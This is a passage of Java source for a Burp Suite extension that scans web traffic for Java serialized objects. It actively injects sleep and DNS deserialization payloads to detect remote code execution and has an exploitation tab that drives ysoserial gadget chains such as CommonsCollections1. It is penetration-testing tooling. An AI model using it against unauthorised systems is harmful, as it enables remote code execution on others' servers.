                hostExploiting.setMaximumSize( hostExploiting.getPreferredSize() );
                JLabel portLabelExploiting = new JLabel("Port:");
                portExploiting = new JTextField(5);
                portExploiting.setMaximumSize( portExploiting.getPreferredSize() );
                useHttpsExploiting = new JCheckBox("Https");
                httpServicePanelExploiting.add(hostLabelExploiting);
                httpServicePanelExploiting.add(hostExploiting);
                httpServicePanelExploiting.add(portLabelExploiting);
                httpServicePanelExploiting.add(portExploiting);
                httpServicePanelExploiting.add(useHttpsExploiting);    
                
                requestAreaExploitingTop = new JTextArea();
                JScrollPane scrollRequestAreaExploiting = new JScrollPane(requestAreaExploitingTop);
                scrollRequestAreaExploiting.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                requestAreaExploitingTop.setLineWrap(true);
                
                // MENU
                JPopupMenu popupMenuExploiting = new JPopupMenu();
                JMenuItem sendToRepeaterExploiting = new JMenuItem("Send to Repeater");
                sendToRepeaterExploiting.setActionCommand("sendRepeaterExploiting");
                sendToRepeaterExploiting.addActionListener(BurpExtender.this);
                popupMenuExploiting.add(sendToRepeaterExploiting);
                JMenuItem sendToManualTestingExploiting = new JMenuItem("Send to Manual Testing tab");
                sendToManualTestingExploiting.setActionCommand("sendManualTestingExploiting");
                sendToManualTestingExploiting.addActionListener(BurpExtender.this);
                popupMenuExploiting.add(sendToManualTestingExploiting);
                requestAreaExploitingTop.setComponentPopupMenu(popupMenuExploiting);                
                // END MENU
                                
                JPanel buttonPanelExploiting = new JPanel();
                buttonPanelExploiting.setLayout(new BoxLayout(buttonPanelExploiting, BoxLayout.X_AXIS));
                
                JButton setInsertionPointButtonExploiting = new JButton("Set Insertion Point");
                setInsertionPointButtonExploiting.setActionCommand("setInsertionPointExploitation");
                setInsertionPointButtonExploiting.addActionListener(BurpExtender.this);       
                
                JButton clearButtonExploiting = new JButton("Clear Insertion Point");
                clearButtonExploiting.setActionCommand("clearExploitation");
                clearButtonExploiting.addActionListener(BurpExtender.this); 
                
                buttonPanelExploiting.add(setInsertionPointButtonExploiting);
                buttonPanelExploiting.add(clearButtonExploiting);
                
                leftTopPanelExploiting.add(httpServicePanelExploiting);
                leftTopPanelExploiting.add(scrollRequestAreaExploiting);
                leftTopPanelExploiting.add(buttonPanelExploiting);            
                
                leftSplitPaneExploiting.setTopComponent(leftTopPanelExploiting);           
                   
                
                // LEFT BOTTOM
                
                JPanel leftBottomPanelExploiting = new JPanel();
                leftBottomPanelExploiting.setLayout(new BoxLayout(leftBottomPanelExploiting, BoxLayout.Y_AXIS));
                
                labelExploitingBottom = new JLabel("java -jar ysoserial"); 
                
                requestAreaExploitingBottom = new JTextArea();
                JScrollPane scrollRequestAreaExploitingBottom = new JScrollPane(requestAreaExploitingBottom);
                scrollRequestAreaExploitingBottom.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                requestAreaExploitingBottom.setLineWrap(true);
                requestAreaExploitingBottom.setText("CommonsCollections1 COMMAND");
                
                transformationsListExploitationModel = new DefaultListModel<Transformation>();                
                JPanel exploitationTranformationListPanel = new JPanel();
                exploitationTranformationListPanel.setLayout(new BoxLayout(exploitationTranformationListPanel, BoxLayout.X_AXIS)); 
                //JLabel labelTransformationsList = new JLabel("Encode/Compress: ");
                transformationsExploitationList = new JList(transformationsListExploitationModel);    
                JScrollPane transformationsListExploitationScrollPane = new JScrollPane(transformationsExploitationList);
                transformationsListExploitationScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                transformationsListExploitationScrollPane.setBorder(new LineBorder(Color.BLACK));
                transformationsListExploitationScrollPane.setMaximumSize( transformationsListExploitationScrollPane.getPreferredSize() );
                
                for (Transformation t : Transformation.values()) {
                	transformationsListExploitationModel.addElement(t);
                }
                
                JPanel exploitationTranformationButtonPanel = new JPanel();
                exploitationTranformationButtonPanel.setLayout(new BoxLayout(exploitationTranformationButtonPanel, BoxLayout.Y_AXIS));
                JButton addTransformationExploitationButton = new JButton("Add -->");
                addTransformationExploitationButton.setActionCommand("addTransformationExploitation");
                addTransformationExploitationButton.addActionListener(BurpExtender.this);
                JButton removeTransformationExploitationButton = new JButton("<-- Remove");
                removeTransformationExploitationButton.setActionCommand("removeTransformationExploitation");
                removeTransformationExploitationButton.addActionListener(BurpExtender.this);                
                exploitationTranformationButtonPanel.add(addTransformationExploitationButton);
                exploitationTranformationButtonPanel.add(removeTransformationExploitationButton);
                
                addedTransformationsExploitationListModel = new DefaultListModel<Transformation>();  
                addedTransformationsExploitationList = new JList(addedTransformationsExploitationListModel);    
                JScrollPane addedTransformationsExploitationListScrollPane = new JScrollPane(addedTransformationsExploitationList);
                addedTransformationsExploitationListScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                addedTransformationsExploitationListScrollPane.setBorder(new LineBorder(Color.BLACK));
                addedTransformationsExploitationListScrollPane.setMaximumSize( addedTransformationsExploitationListScrollPane.getPreferredSize() );
                
                exploitationTranformationListPanel.add(labelTransformationsList);
                exploitationTranformationListPanel.add(transformationsListExploitationScrollPane);
                exploitationTranformationListPanel.add(exploitationTranformationButtonPanel);
                exploitationTranformationListPanel.add(addedTransformationsExploitationListScrollPane);
                                
                attackButtonExploiting = new JButton("Attack");
                attackButtonExploiting.setActionCommand("attackExploitation");
                attackButtonExploiting.addActionListener(BurpExtender.this); 
                
                leftBottomPanelExploiting.add(labelExploitingBottom);
                leftBottomPanelExploiting.add(scrollRequestAreaExploitingBottom);
                leftBottomPanelExploiting.add(exploitationTranformationListPanel);
                leftBottomPanelExploiting.add(attackButtonExploiting);
                
                leftSplitPaneExploiting.setBottomComponent(leftBottomPanelExploiting);
                
                leftSplitPaneExploiting.setResizeWeight(0.60);
                splitPaneExploiting.setLeftComponent(leftSplitPaneExploiting); 
                
                // RIGHT
                JPanel rigthPanelExploiting = new JPanel();
                rigthPanelExploiting.setLayout(new BoxLayout(rigthPanelExploiting, BoxLayout.Y_AXIS));
                
                JSplitPane rightSplitPaneExploiting = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
                
                JTabbedPane requestResponseExploiting = new JTabbedPane();
                
                resultAreaExploitingTopRequest = callbacks.createMessageEditor(BurpExtender.this,false);
                resultAreaExploitingTopResponse = callbacks.createMessageEditor(BurpExtender.this,false);
                requestResponseExploiting.addTab("Request",resultAreaExploitingTopRequest.getComponent());
                requestResponseExploiting.addTab("Response",resultAreaExploitingTopResponse.getComponent());
                
                rightSplitPaneExploiting.setTopComponent(requestResponseExploiting);
                                               
                JPanel attackPanelExploiting = new JPanel();
                attackPanelExploiting.setLayout(new BoxLayout(attackPanelExploiting, BoxLayout.Y_AXIS));
                
                resultAreaExploitingBottom = new JTextArea();
                JScrollPane scrollResultsAreaExploiting = new JScrollPane(resultAreaExploitingBottom);
                scrollResultsAreaExploiting.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                resultAreaExploitingBottom.setEditable(false);
                resultAreaExploitingBottom.setText("Time to execute: XXX milliseconds");
                                
                attackPanelExploiting.add(resultAreaExploitingBottom);
                
                rightSplitPaneExploiting.setBottomComponent(attackPanelExploiting);                
                
                rightSplitPaneExploiting.setResizeWeight(0.85);
                
                rigthPanelExploiting.add(rightSplitPaneExploiting);
                
                splitPaneExploiting.setRightComponent(rigthPanelExploiting);
                
                splitPaneExploiting.setResizeWeight(0.50);
                
                mainPanelExploiting.add(splitPaneExploiting);               
                
                callbacks.customizeUiComponent(mainPanelExploiting);                
                
                
                // Configuration panel
                
                mainPanelConfiguration = new JPanel();
                mainPanelConfiguration.setAlignmentX(Component.LEFT_ALIGNMENT);
                mainPanelConfiguration.setLayout(new BoxLayout(mainPanelConfiguration, BoxLayout.Y_AXIS));
                
                JLabel configurationTitleScanner = new JLabel("Automatic scanner configurations");
                configurationTitleScanner.setForeground(new Color(249,130,11));
                configurationTitleScanner.setFont(new Font("Nimbus", Font.BOLD, 16));
                configurationTitleScanner.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                enableActiveScanSleepChecks = new JCheckBox("Enable active scan sleep checks");
                enableActiveScanSleepChecks.setSelected(true);
                enableActiveScanSleepChecks.setActionCommand("enableDisableActiveScanSleepChecks");
                enableActiveScanSleepChecks.addActionListener(BurpExtender.this);
                enableActiveScanSleepChecks.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                enableActiveScanDNSChecks = new JCheckBox("Enable active scan DNS checks (through vulnerable libraries)");
                enableActiveScanDNSChecks.setSelected(true);
                enableActiveScanDNSChecks.setActionCommand("enableDisableActiveScanDNSChecks");
                enableActiveScanDNSChecks.addActionListener(BurpExtender.this);
                enableActiveScanDNSChecks.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                enableActiveScanURLDNSChecks = new JCheckBox("Enable active scan DNS checks (URLDNS, Java JRE only)");
                enableActiveScanURLDNSChecks.setSelected(true);
                enableActiveScanURLDNSChecks.setActionCommand("enableDisableActiveScanURLDNSChecks");
                enableActiveScanURLDNSChecks.addActionListener(BurpExtender.this);
                enableActiveScanURLDNSChecks.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                //aggressiveMode = new JCheckBox("Aggressive mode (increase a lot the requests)");  
                
                JSeparator separatorConfigurationScanner = new JSeparator(JSeparator.HORIZONTAL);
                Dimension sizeConfigurationScanner = new Dimension(
                		separatorConfigurationScanner.getMaximumSize().width,
                		separatorConfigurationScanner.getPreferredSize().height);
                separatorConfigurationScanner.setMaximumSize(sizeConfigurationScanner);
                separatorConfigurationScanner.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                JLabel configurationTitleManualTesting = new JLabel("Manual testing configuration");
                configurationTitleManualTesting.setForeground(new Color(249,130,11));
                configurationTitleManualTesting.setFont(new Font("Nimbus", Font.BOLD, 16));
                configurationTitleManualTesting.setAlignmentX(Component.LEFT_ALIGNMENT);   
                
                addManualIssueToScannerResultManualTesting = new JCheckBox("Add manual issues to scanner results");
                addManualIssueToScannerResultManualTesting.setSelected(true);
                addManualIssueToScannerResultManualTesting.setAlignmentX(Component.LEFT_ALIGNMENT); 
                
                verboseModeManualTesting = new JCheckBox("Verbose mode");  
                verboseModeManualTesting.setAlignmentX(Component.LEFT_ALIGNMENT); 
                
                JSeparator separatorConfigurationManualTesting = new JSeparator(JSeparator.HORIZONTAL);
                Dimension sizeConfigurationManualTesting = new Dimension(
                		separatorConfigurationManualTesting.getMaximumSize().width,
                		separatorConfigurationManualTesting.getPreferredSize().height);
                separatorConfigurationManualTesting.setMaximumSize(sizeConfigurationManualTesting);
                separatorConfigurationManualTesting.setAlignmentX(Component.LEFT_ALIGNMENT); 
                
                JLabel configurationTitleExploiting = new JLabel("Exploiting configuration");
                configurationTitleExploiting.setForeground(new Color(249,130,11));
                configurationTitleExploiting.setFont(new Font("Nimbus", Font.BOLD, 16));
                configurationTitleExploiting.setAlignmentX(Component.LEFT_ALIGNMENT); 
                
                JPanel configurationPaneButtonJPanel = new JPanel();
                configurationPaneButtonJPanel.setLayout(new BoxLayout(configurationPaneButtonJPanel, BoxLayout.X_AXIS));
                configurationPaneButtonJPanel.setAlignmentX(Component.LEFT_ALIGNMENT); 
                JLabel labelConfigurationPaneYsoserialPath = new JLabel("Ysoserial path: ");
                ysoserialPath = new JTextField(200);                
                ysoserialPath.setText("ysoserial-0.0.4-all.jar");
                ysoserialPath.setMaximumSize( ysoserialPath.getPreferredSize() );
                configurationPaneButtonJPanel.add(labelConfigurationPaneYsoserialPath);
                configurationPaneButtonJPanel.add(ysoserialPath);
                
                enableExploitationHibernate5 = new JCheckBox("Execute ysoserial with hibernate5 profile (-Dhibernate5)");
                enableExploitationHibernate5.setSelected(false);
                enableExploitationHibernate5.setActionCommand("changeExploitationLabel");
                enableExploitationHibernate5.addActionListener(BurpExtender.this);
                enableExploitationHibernate5.setAlignmentX(Component.LEFT_ALIGNMENT);
                
                mainPanelConfiguration.add(configurationTitleScanner);
                mainPanelConfiguration.add(enableActiveScanSleepChecks);
                mainPanelConfiguration.add(enableActiveScanDNSChecks);
                mainPanelConfiguration.add(enableActiveScanURLDNSChecks);
                //mainPanelConfiguration.add(aggressiveMode);
                mainPanelConfiguration.add(separatorConfigurationScanner);
                mainPanelConfiguration.add(configurationTitleManualTesting);
                mainPanelConfiguration.add(addManualIssueToScannerResultManualTesting);                
                mainPanelConfiguration.add(verboseModeManualTesting);
                mainPanelConfiguration.add(separatorConfigurationManualTesting);
                mainPanelConfiguration.add(configurationTitleExploiting);    
                mainPanelConfiguration.add(configurationPaneButtonJPanel);
                mainPanelConfiguration.add(enableExploitationHibernate5);   

                callbacks.customizeUiComponent(mainPanelConfiguration);
                
                mainPanel.addTab("Manual testing", mainPanelManualTesting);
                mainPanel.addTab("Exploiting", mainPanelExploiting);
                mainPanel.addTab("Configurations", mainPanelConfiguration);
                
                // END NEW
                
                
                callbacks.addSuiteTab(BurpExtender.this);
                
            }
        });            
        
    }
    
    
    public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
    	    	
    	List<IScanIssue> issues = new ArrayList<IScanIssue>();
    	
    	// FIRST CHECK IN REQUEST
    	
    	// Body
    	// Full body insertion point
    	byte[] request = baseRequestResponse.getRequest();
    	//IRequestInfo requestInfo = helpers.analyzeRequest(request);
    	int magicPos = helpers.indexOf(request, serializeMagic, false, 0, request.length);
    	int magicPosBase64 = helpers.indexOf(request, base64Magic, false, 0, request.length);
    	int magicPosAsciiHex = helpers.indexOf(request, asciiHexMagic, false, 0, request.length);
        int magicPosBase64Gzip = helpers.indexOf(request, base64GzipMagic, false, 0, request.length);
        int magicPosGzip = helpers.indexOf(request, gzipMagic, false, 0, request.length);

        //Check the request for Java serialised objects
    	if(magicPos > -1 || magicPosBase64 > -1 || magicPosAsciiHex > -1 || magicPosBase64Gzip > -1 || magicPosGzip > -1) {
    		
    		// Adding of marker for the vulnerability report
            List<int[]> responseMarkers = new ArrayList<int[]>();
            String issueName = "";
            byte[] gzippedObject;

            //Initial values for start and end positions of object
            int startPos = 1;
            int endPos = request.length;
            byte[] expectedStartChars = new byte[]{'"', '\'', '\n', '{', '(', '[', '<'};

            //Work out start position
            if (magicPos > -1) 
                startPos = magicPos;
            else if (magicPosBase64 > -1)
                startPos = magicPosBase64;
            else if (magicPosAsciiHex > -1)
                startPos = magicPosAsciiHex;
            else if (magicPosBase64Gzip > -1)
                startPos = magicPosBase64Gzip;
            else if (magicPosGzip > -1)
                startPos = magicPosGzip;

            //Extract out full object by first checking what the character before it is, e.g. " ' {
            byte[] startChar = Arrays.copyOfRange(request, startPos-1, startPos);

            //Sanity check the char to see if its a reasonable and expected value
            if (ArrayUtils.contains(expectedStartChars, startChar[0])) {
                //Run a follow up check to see if it is an open bracket in which case check for the equivalent close bracket
                if (startChar[0] == '(') 
                    startChar[0] = ')';
                else if (startChar[0] == '{')
                    startChar[0] = '}';
                else if (startChar[0] == '[')
                    startChar[0] = ']';
                else if (startChar[0] == '<')
                    startChar[0] = '>';

                endPos = helpers.indexOf(request, startChar, false, startPos, request.length);
                
            }

            //Check if endPos was found, otherwise set to response.length
            if (endPos == -1) 
                endPos = request.length;

            //Extract out potential object
            byte[] potentialObject = Arrays.copyOfRange(request, startPos, endPos);

            //Perform an additional check if the data is base64gzipped or gzipped
            if (magicPosBase64Gzip > -1 || magicPosGzip > -1) {

                //Check if base64 decoding is necessary
                if (magicPosBase64Gzip > -1) {
                    //Check is URL decoding is necessary before Base64 decoding
                    boolean urlEncoded = false;
                    for (int i = 0; i < potentialObject.length; i++) {
                        if (potentialObject[i] == (byte)'%') {
                            urlEncoded = true;
                            break;
                        }
                    }

                    //Base64 decode
                    gzippedObject = helpers.base64Decode(urlEncoded ?
							helpers.urlDecode(potentialObject) : potentialObject);

                    //Prematurely set issue name
                    issueName = passiveScanIssue + " in request (encoded in Base64 & Gzipped)";
                
                } else {
                	
                    //Extract out gzipped object
                    gzippedObject = potentialObject;
                    issueName = passiveScanIssue + " in request (Gzipped)";
                    
                }

                try {
                	
                    //Gzip decompress first 2 bytes to check header for asciiHexMagic
                    GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(gzippedObject));
                    byte[] ungzip = new byte[2];
                    gis.read(ungzip);

                    //Check if ungzip data is the same as serializeMagic
                    if (Arrays.equals(ungzip, serializeMagic)) {
                        responseMarkers.add(new int[]{startPos,endPos});

                        issues.add(new CustomScanIssue(
                            baseRequestResponse.getHttpService(),
                            helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                            new IHttpRequestResponse[] { callbacks.applyMarkers(baseRequestResponse, responseMarkers, null) },
                            issueName,
                            passiveScanSeverity,
                            passiveScanConfidence,
                            passiveScanIssueDetail,
                            remediationDetail));
                    }
                    
                } catch (Exception ex) {
                    stderr.println("Error gzip decompressing input - " + ex.getMessage());
                }
            
            } else {
            	
                //Add standard issues
                responseMarkers.add(new int[]{startPos,endPos});

                if(magicPos > -1) 
                    issueName = passiveScanIssue;
                else if(magicPosBase64 > -1) 
                    issueName = passiveScanIssue + " (encoded in Base64)";
                else
                    issueName = passiveScanIssue + " (encoded in Ascii HEX)";
                            
                issues.add(new CustomScanIssue(
                        baseRequestResponse.getHttpService(),
                        helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                        new IHttpRequestResponse[] { callbacks.applyMarkers(baseRequestResponse, responseMarkers, null) },
                        issueName,
                        passiveScanSeverity,
                        passiveScanConfidence,
                        passiveScanIssueDetail,
                        remediationDetail));
            }
            
    	}

       	// THEN CHECK IN RESPONSE
    	
        //Get response to check for potential Java serialized objects
        byte[] response = baseRequestResponse.getResponse();
        
        magicPos = helpers.indexOf(response, serializeMagic, false, 0, response.length);
        magicPosBase64 = helpers.indexOf(response, base64Magic, false, 0, response.length);
        magicPosAsciiHex = helpers.indexOf(response, asciiHexMagic, false, 0, response.length);
        magicPosBase64Gzip = helpers.indexOf(response, base64GzipMagic, false, 0, response.length);
        magicPosGzip = helpers.indexOf(response, gzipMagic, false, 0, response.length);

        if(magicPos > -1 || magicPosBase64 > -1 || magicPosAsciiHex > -1 || magicPosBase64Gzip > -1 || magicPosGzip > -1) {
        
            // Adding of marker for the vulnerability report
            List<int[]> responseMarkers = new ArrayList<int[]>();
            String issueName = "";
            byte[] gzippedObject;

            //Initial values for start and end positions of object
            int startPos = 1;
            int endPos = response.length;
            byte[] expectedStartChars = new byte[]{'"', '\'', '\n', '{', '(', '[', '<'};

            //Work out start position
            if (magicPos > -1) 
                startPos = magicPos;
            else if (magicPosBase64 > -1)
                startPos = magicPosBase64;
            else if (magicPosAsciiHex > -1)
                startPos = magicPosAsciiHex;
            else if (magicPosBase64Gzip > -1)
                startPos = magicPosBase64Gzip;
            else if (magicPosGzip > -1)
                startPos = magicPosGzip;

            //Extract out full object by first checking what the character before it is, e.g. " ' {
            byte[] startChar = Arrays.copyOfRange(response, startPos-1, startPos);

            //Sanity check the char to see if its a reasonable and expected value
            if (ArrayUtils.contains(expectedStartChars, startChar[0])) {
                //Run a follow up check to see if it is an open bracket in which case check for the equivalent close bracket
                if (startChar[0] == '(') 
                    startChar[0] = ')';
                else if (startChar[0] == '{')
                    startChar[0] = '}';
                else if (startChar[0] == '[')
                    startChar[0] = ']';
                else if (startChar[0] == '<')
                    startChar[0] = '>';

                endPos = helpers.indexOf(response, startChar, false, startPos, response.length);
            }

            //Check if endPos was found, otherwise set to response.length
            if (endPos == -1) 
                endPos = response.length;

            //Extract out potential object
            byte[] potentialObject = Arrays.copyOfRange(response, startPos, endPos);

            //Perform an additional check if the data is base64gzipped or gzipped
            if (magicPosBase64Gzip > -1 || magicPosGzip > -1) {

                //Check if base64 decoding is necessary
                if (magicPosBase64Gzip > -1) {
                    //Extract out string
                    String extractedObject = helpers.bytesToString(potentialObject);

                    //Base64 decode
                    gzippedObject = helpers.base64Decode(extractedObject);

                    //Prematurely set issue name
                    issueName = passiveScanIssue + " in response (encoded in Base64 & Gzipped)";
                
                } else {
                    
                	//Extract out gzipped object
                    gzippedObject = potentialObject;
                    issueName = passiveScanIssue + " in response (Gzipped)";
                    
                }

                try {
                    
                	//Gzip decompress first 2 bytes to check header for asciiHexMagic
                    GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(gzippedObject));
                    byte[] ungzip = new byte[2];
                    gis.read(ungzip, 0, 2);

                    //Check if ungzip data is the same as serializeMagic
                    if (Arrays.equals(ungzip, serializeMagic)) {
                        responseMarkers.add(new int[]{startPos,endPos});

                        issues.add(new CustomScanIssue(
                            baseRequestResponse.getHttpService(),
                            helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                            new IHttpRequestResponse[] { callbacks.applyMarkers(baseRequestResponse, null, responseMarkers) }, 
                            issueName,
                            passiveScanSeverity,
                            passiveScanConfidence,
                            passiveScanIssueDetail,
                            remediationDetail));
                    }
                    
                } catch (Exception ex) {
                    stderr.println("Error gzip decompressing input - " + ex.getMessage());
                }
                
            } else {
                
            	//Add standard issues
                responseMarkers.add(new int[]{startPos,endPos});

                if(magicPos > -1) 
                    issueName = passiveScanIssue + " in response";
                else if(magicPosBase64 > -1) 
                    issueName = passiveScanIssue + " in response (encoded in Base64)";
                else
                    issueName = passiveScanIssue + " in response (encoded in Ascii HEX)";
                            
                issues.add(new CustomScanIssue(
                        baseRequestResponse.getHttpService(),
                        helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                        new IHttpRequestResponse[] { callbacks.applyMarkers(baseRequestResponse, responseMarkers, new ArrayList<int[]>()) }, 
                        issueName,
                        passiveScanSeverity,
                        passiveScanConfidence,
                        passiveScanIssueDetail,
                        remediationDetail));
            }
            
        }
    	
        if(issues.size() > 0) {
        	//stdout.println("Reporting " + issues.size() + " passive results");
        	return issues;
        } else {
        	return null;
        }    	

    }

    public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
    	    	    	
    	List<IScanIssue> issues = new ArrayList<IScanIssue>();
    	    	
    	// Current insertion point
    	byte[] insertionPointBaseValue = insertionPoint.getBaseValue().getBytes();
		int magicPos = helpers.indexOf(insertionPointBaseValue, serializeMagic, false, 0, insertionPointBaseValue.length);
		int magicPosBase64 = helpers.indexOf(insertionPointBaseValue, base64Magic, false, 0, insertionPointBaseValue.length);
		int magicPosAsciiHex = helpers.indexOf(insertionPointBaseValue, asciiHexMagic, false, 0, insertionPointBaseValue.length);
		int magicPosBase64Gzip = helpers.indexOf(insertionPointBaseValue, base64GzipMagic, false, 0, insertionPointBaseValue.length);
        int magicPosGzip = helpers.indexOf(insertionPointBaseValue, gzipMagic, false, 0, insertionPointBaseValue.length);

        byte[] request = baseRequestResponse.getRequest();
        IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
        
		if(magicPos > -1 || magicPosBase64 > -1 || magicPosAsciiHex > -1 || magicPosBase64Gzip > -1 || magicPosGzip > -1) {
			
			// Collaborator context for DNS payloads
			IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
            
			HashMap<String,byte[]> currentPayloads = new HashMap<String,byte[]>();
			HashMap<String,String> dnsCollaboratorUrls = new HashMap<String,String>();
			
			// URLDNS
			if(enableActiveScanURLDNSChecks.isSelected()) {
				
				String urlDnsCollaboratorUrl = collaboratorContext.generatePayload(true);				
				byte[] urldnsFinalPayload = createUrlDnsVector(payloadURLDNS,urlDnsCollaboratorUrl);
				currentPayloads.put("URLDNS", urldnsFinalPayload);
				dnsCollaboratorUrls.put("URLDNS", urlDnsCollaboratorUrl);
				
			}
						
			// Sleep payloads
			if(enableActiveScanSleepChecks.isSelected()) {

				currentPayloads.putAll(payloadsSleep);
			
			} 
			
			if(enableActiveScanDNSChecks.isSelected()) {
								
				Set<String> payloadDnsKeys = payloadsDNS.keySet();
				Iterator<String> iter = payloadDnsKeys.iterator();
	    		String currentKey;
	    		byte[] currentValue;
	    		String currentCollaboratorPayload;
	    		byte[] dnsPayloadWithCollaboratorPayload;
	    		
	    		while (iter.hasNext()) {
	    			
	    			currentKey = iter.next();
	    			currentValue = payloadsDNS.get(currentKey);
	    			currentCollaboratorPayload = collaboratorContext.generatePayload(true);
	    			
	    			dnsPayloadWithCollaboratorPayload = createDnsVector(currentValue,currentCollaboratorPayload, currentKey);
	    			
	    			currentPayloads.put(currentKey, dnsPayloadWithCollaboratorPayload);
	    			dnsCollaboratorUrls.put(currentKey, currentCollaboratorPayload);

	    		}				
				
			}
			
    		Set<String> payloadKeys = currentPayloads.keySet();
    		Iterator<String> iter = payloadKeys.iterator();
    		String currentKey;
    		while (iter.hasNext()) {
    			
    			currentKey = iter.next();
    			    			
        		byte[] newPayload = null;
        		
        		if(magicPos > -1) {
        			newPayload = ArrayUtils.addAll(Arrays.copyOfRange(insertionPointBaseValue, 0, magicPos),currentPayloads.get(currentKey));
        		} else if(magicPosBase64 > -1) {
        			newPayload = ArrayUtils.addAll(Arrays.copyOfRange(insertionPointBaseValue, 0, magicPosBase64),Base64.encodeBase64(currentPayloads.get(currentKey)));
        		} else if(magicPosAsciiHex > -1) {
        			newPayload = ArrayUtils.addAll(Arrays.copyOfRange(insertionPointBaseValue, 0, magicPosAsciiHex),Hex.encodeHexString(currentPayloads.get(currentKey)).getBytes());
        		} else if(magicPosBase64Gzip > -1) {
                   newPayload = ArrayUtils.addAll(Arrays.copyOfRange(insertionPointBaseValue, 0, magicPosBase64Gzip),Base64.encodeBase64(gzipData(currentPayloads.get(currentKey))));
                } else {
                    newPayload = ArrayUtils.addAll(Arrays.copyOfRange(insertionPointBaseValue, 0, magicPosGzip),gzipData(currentPayloads.get(currentKey))); 
                }
        		
        		int[] markers = insertionPoint.getPayloadOffsets(newPayload);
        		byte[] newRequest = insertionPoint.buildRequest(newPayload);
        		long startTime = System.nanoTime();
        		IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), newRequest);
        		long endTime = System.nanoTime();
        		
        		long duration = TimeUnit.SECONDS.convert((endTime - startTime), TimeUnit.NANOSECONDS);
        		
        		List<IBurpCollaboratorInteraction> collaboratorInteractions = null;
        		if(currentKey.contains("DNS")) {
        			collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(dnsCollaboratorUrls.get(currentKey));
        		}
        		        		
        		if( (currentKey.contains("Sleep") && ((int)duration) >= 9 ) || (currentKey.contains("DNS") && collaboratorInteractions.size() > 0 ) ) {

        			// Vulnerability found
        			
        			// Adding of marker for the vulnerability report
        			List<int[]> requestMarkers = new ArrayList<int[]>();
        			int markerStart = 0;
        			int markerEnd = markers[1];
        			String issueEncoding = "";
        			
        			if(magicPos > -1) {
        				markerStart = markers[0] + magicPos; 
        			}else if(magicPosBase64 > -1) {
        				markerStart = markers[0] + magicPosBase64; 
        				issueEncoding = issueEncoding + " (encoded in Base64)";
        			} else if(magicPosAsciiHex > -1) {
        				markerEnd = markers[0] + magicPosAsciiHex;
        				issueEncoding = issueEncoding + " (encoded in Ascii HEX)";
        			} else if(magicPosBase64Gzip > -1) {
        				markerEnd = markers[0] + magicPosBase64Gzip;
                        issueEncoding = issueEncoding + " (encoded in Base64 and Gzipped)";                        
                    } else {
                    	markerEnd = markers[0] + magicPosGzip;
                        issueEncoding = issueEncoding + " (encoded/compressed with Gzip)";
                    }    			

        			requestMarkers.add(new int[]{markerStart,markerEnd});
        			
        			if(currentKey.equals("URLDNS")) {
        				
        				issues.add(new CustomScanIssue(
                                baseRequestResponse.getHttpService(),
                                helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                                new IHttpRequestResponse[] { callbacks.applyMarkers(checkRequestResponse, requestMarkers, new ArrayList<int[]>()) }, 
                                activeDetectionIssue + "DNS resolution" + issueEncoding,
                                activeDetectionSeverity,
                                activeDetectionConfidenceDns,
                                activeDetectionIssueDetails,
                                remediationDetail));
        				
        			} else {
        				
        				issues.add(new CustomScanIssue(
                                baseRequestResponse.getHttpService(),
                                helpers.analyzeRequest(baseRequestResponse).getUrl(), 
                                new IHttpRequestResponse[] { callbacks.applyMarkers(checkRequestResponse, requestMarkers, new ArrayList<int[]>()) }, 
                                rceIssue + rceIssueVulnerableLibrary + currentKey + issueEncoding,
                                rceSeverity,
                                (currentKey.contains("Sleep")) ? rceConfidenceSleep : rceConfidenceDns,
                                rceIssueDetail + rceIssueDetailVulnerableLibrary + currentKey + ". " + ((currentKey.contains("Sleep")) ? issueDetailTimeWarning : ""),
                                remediationDetail));
        				
        			}
        			
                            		        			
        		}        		
    		}
    	}
        else if(!urlBodyAlreadyScanned.contains(requestInfo.getUrl().toExternalForm())){ //Check for full body insertion point if not already tested
        	       	
        	// Full body insertion point
            
            int bodyOffset = requestInfo.getBodyOffset();
            magicPos = helpers.indexOf(request, serializeMagic, false, 0, request.length);
            magicPosBase64 = helpers.indexOf(request, base64Magic, false, 0, request.length);
            magicPosAsciiHex = helpers.indexOf(request, asciiHexMagic, false, 0, request.length);
            magicPosBase64Gzip = helpers.indexOf(request, base64GzipMagic, false, 0, request.length);
            magicPosGzip = helpers.indexOf(request, gzipMagic, false, 0, request.length);
           
            if((magicPos > -1 && magicPos == bodyOffset) || (magicPosBase64 > -1 && magicPosBase64 == bodyOffset) || (magicPosAsciiHex > -1 && magicPosAsciiHex == bodyOffset) || (magicPosBase64Gzip > -1 && magicPosBase64Gzip == bodyOffset) || (magicPosGzip > -1 && magicPosGzip == bodyOffset)) {

            	// Add the url to the urlBodyAlreadyScanned arraylist in order to avoid duplicate scanning of the body
            	urlBodyAlreadyScanned.add(requestInfo.getUrl().toExternalForm());
            	
    			// Collaborator context for DNS payloads
